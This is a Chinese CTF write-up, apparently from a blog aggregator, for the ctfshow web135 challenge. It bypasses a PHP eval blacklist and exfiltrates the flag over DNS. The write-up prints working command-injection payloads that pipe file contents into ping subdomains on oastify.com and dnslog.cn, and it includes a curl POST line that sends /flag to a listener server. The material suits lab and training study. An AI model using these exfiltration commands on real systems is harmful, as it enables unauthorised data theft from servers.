news 2026/4/18 11:03:50

ctfshow-web135

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
ctfshow-web135

PS:萌新ctfer的解题过程,如有错误之处恳请师傅们指正

(本题为web133的进阶版,基本过程可见ctfshow-web133)

一:增强过滤

打开靶场,可以看到正则里又过滤了好多东西:

error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }

其中,这里就有我们之前用的curl,说明这里HTTP 外带(主动把文件内容 POST 到外部服务器)不适用,那么我们就可以换成DNS 外带(把数据拼接到域名里,通过 DNS 解析请求把数据发送出去)。这种方式的最大优势是绕开很多环境限制(比如没有curl/wget、服务器禁止出站 HTTP 请求,但 DNS 请求通常不会被禁)。

二:具体构造

还是一样,先给出我们的payload:

?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd 'a-zA-Z0-9-'`.a8jyvpll7rtaqerbtw8l8qp38uel2cq1.oastify.com

1.总体结构

最开始的?F=`$F`;就是我们上传的F参数,后面的所有都是F里面的内容。

+号是 URL 中空格的编码形式,其中更为常见的是%20,URL中空格是不允许直接出现的,所以这里就用+来表示一下;而ping是Linux 的网络测试命令,在这里的核心作用是触发 DNS 请求:

  • 当执行ping xxx.oastify.com时,操作系统会先向 DNS 服务器发送请求,查询xxx.oastify.com的 IP 地址(这就是 DNS 解析)。
  • xxx正是我们从flag.php中提取的 flag 内容,这样 DNS 服务器就会记录下这个包含 flag 的域名请求,我们就能在 oastify 平台上看到 flag 了。

后面的就是提取flag的核心命令了

2.核心命令

?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd 'a-zA-Z0-9-'`.coma8jyvpll7rtaqerbtw8l8qp38uel2cq1.oastify.com

1.nl flag.php:给文件的每一行添加行号

  • nl:是number lines的缩写,中文叫 “行号打印命令”,作用是读取文件内容,给每一行加上行号 + 空格后输出。
  • 为什么用nl:因为 CTF 中flag.php里的 flag 通常在某一行固定位置(比如第 15 行),加行号后才能用后续命令精准定位行号。

(注意这里的flag的行数是要自己一一试出来的,可以在BP里的Reapeater更改)

2.awk 'NR==15':只提取第 15 行的内容

  • awk:是 Linux 中处理文本的核心工具,能按行、按列解析文本内容,功能非常强大
  • NR:是awk的内置变量,代表当前处理的行号(Number of Record)。
  • NR==15:是awk的条件判断,意思是 “只处理行号等于 15 的那一行,其他行都忽略”

3.tr -cd 'a-zA-Z0-9-':过滤掉非指定的字符

  • tr:是translate的缩写,中文叫 “字符转换 / 过滤命令”,主要用来替换、删除文本中的字符
  • -c:全称--complement,意思是 “取反”,即匹配不在指定字符集中的字符
  • -d:全称--delete,意思是 “删除”,即删除匹配到的字符。
  • 'a-zA-Z0-9-':指定的字符集,包括:
    • -:短横线(DNS 域名允许包含短横线)
    • 0-9:数字
    • A-Z:大写字母
    • a-z:小写字母
  • 组合起来的意思:删除所有不在a-zA-Z0-9-范围内的字符,只保留这个范围内的字符

4.域名

最后的域名是DNS 数据收集平台分配的专属子域名,由 “唯一随机前缀 + 平台主域名” 组成。

这个域名的核心作用是作为 DNS 请求的目标,让平台记录包含 flag 内容的域名请求

三:获取flag

我们先将我们的payload直接在hackbar里输入,这样后面转到BP里空格和反引号会自动转码,避免兼容性问题。【开代理之后直接execute即可】:

然后我们发送到repeater模块,直接send:

然后我们就可以在collaborator模块里看到部分flag内容:

(这里没有大括号是因为我们把除了数字和字母以外的字符都去掉了,但是不知道为什么字母有大写有小写的,希望知道的师傅能帮我解惑)

注意这里我们找到的只是部分flag【提取的是第15行的内容】,因此后面NR还要改成16,得到第二部分flag如下:

我们将flag进行拼接就可以了,但是总不可能说我将大写字母一个一个都改成小写字母吧,那样还是太吃操作了,所以这时候编程就有大用处了,写一个简单的python转换大小写字母就可以了:

string.lower()就是将大写字母转成小写字母,最后再加上我们的大括号,得到最终flag就可以了。


四:其他方法

看来其他师傅的wp,说也能用cp 和mv来绕过过滤:

?F=`$F`; cp flag.php 2.txt

后面再改成2.txt读取一下就行了:

然后我想着web133是不是也可以用这个方法去做,然后去试了一下,发现没用,可能是文件权限问题或者文件访问限制等,总之也算是拓展一下视野吧。

还有一个是大菜鸡师傅用的是DNSlog,看视频里构造的payload是这样的:

?F=`$F`;ping `nl flag.php|awk 'NR==15'|tr -cd 'a-z0-9-'`.2mseu1.dnslog.cn -c 1

-cping命令的一个核心参数,全称是count(计数),作用是指定ping命令发送的数据包数量

  • ping -c 1 域名/IP:表示只给目标域名 / IP发送 1 个 ping 数据包,发送完成后,ping命令就会立即终止。
  • 如果不加-c参数,在 Linux 系统中,ping命令会一直持续发送数据包(直到按Ctrl+C手动终止)

但是不知道为什么我做不出来,

一直没有显示,希望有知道的师傅能解惑(大菜鸡师傅说网站有问题)

五:结语

通过这道题我们了解了DNS外带:

  • 将处理后的字符串作为子域名
  • 通过ping触发DNS解析请求
  • 在DNS日志平台查看请求记录获取flag

以及通过尝试行号找到flag在哪里,最后则是不同环境下对权限的限制【还是BurpSuite好用】

面对无回显(Blind)漏洞,获取数据的核心思路是:想尽办法让目标服务器主动“告诉”我们。

战术总结

1. 首选:HTTP带外(OOB-HTTP)

· 条件:目标服务器能出网,且有curl、wget等工具。

· 方法:用curl -X POST -F file=@/flag http://your-server将文件内容POST到你的监听服务器。

· 工具:Burp Collaborator、nc监听、公网VPS。

2. 次选:DNS带外(OOB-DNS)

· 条件:HTTP被禁,但DNS解析通常被放过。

· 方法:将数据作为子域名的一部分,通过ping或nslookup触发DNS查询。

· 工具:Burp Collaborator、DNSLog.cn。

3. 备选:时间盲注(Time-Based)

· 条件:完全不出网。

· 方法:通过命令执行的延时(sleep 5)来逐位推断数据,极其缓慢。

选择原则:优先尝试DNS,因为它限制最少;如果不成功,再尝试HTTP。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 8:01:19

Running Emall in Production: Structure Rules That Reduced Drift

Emall Theme Rollout Log: Cleaning Up a Multi-Category Store I rebuilt our store because it had become difficult to operate, not because it looked outdated. The previous theme wasn’t “bad,” but it encouraged a kind of gradual sprawl: every category had …

作者头像 李华
网站建设 2026/4/18 7:51:37

LobeChat能否对接Microsoft Teams?企业通讯软件集成

LobeChat能否对接Microsoft Teams?企业通讯软件集成 在现代企业办公环境中,沟通工具早已不只是“聊天”的载体。像 Microsoft Teams 这样的平台,已经演变为集消息、会议、文档协作和业务流程于一体的数字工作中枢。而与此同时,AI助…

作者头像 李华
网站建设 2026/4/18 7:52:27

第六十二篇-ComfyUI+V100-32G+代码运行Z-Image

环境 系统:CentOS-7 CPU : E5-2680V4 14核28线程 内存:DDR4 2133 32G * 2 显卡:Tesla V100-32G【PG503】 (水冷) 驱动: 535 CUDA: 12.2依赖 pip install diffusers -i https://mirrors.aliyun.com/pypi/simple下载模型 pip install models…

作者头像 李华
网站建设 2026/4/18 7:50:46

空调铝代铜 成本控制与质量隐忧并存

近日,十余家头部家电企业联合签署《空调铝强化应用研究工作组自律公约》,共同推动铝代铜国家标准落地。这一举措旨在应对铜价飙升(每吨突破1万美元)带来的成本压力,保障产业链安全。不过,铝材替代铜材在空调…

作者头像 李华
网站建设 2026/4/18 7:52:07

nginx的基本认识

什么是nginx, 1.认识nginx 如何认识和操作nginx。 这本身就是一个麻烦的事情 第一层: nginx作为一个linux上的软件,本质上是一个文件夹。 我们可以通过docker来拉取nginx,使用docker来拉取,配置的好处是,可…

作者头像 李华
网站建设 2026/4/18 7:16:34

dubbo的基本认识

如果现在去搜dubbo,其实搜出来一堆,关于如何配置dubbo的技术名词。这个其实不利于深刻理解dubbo的。 那个是细致理解dubbo。 我们不聊技术本身,就聊dubbo给我们项目提供了什么机制,为什么要使用dubbo,怎么使用dubbo&am…

作者头像 李华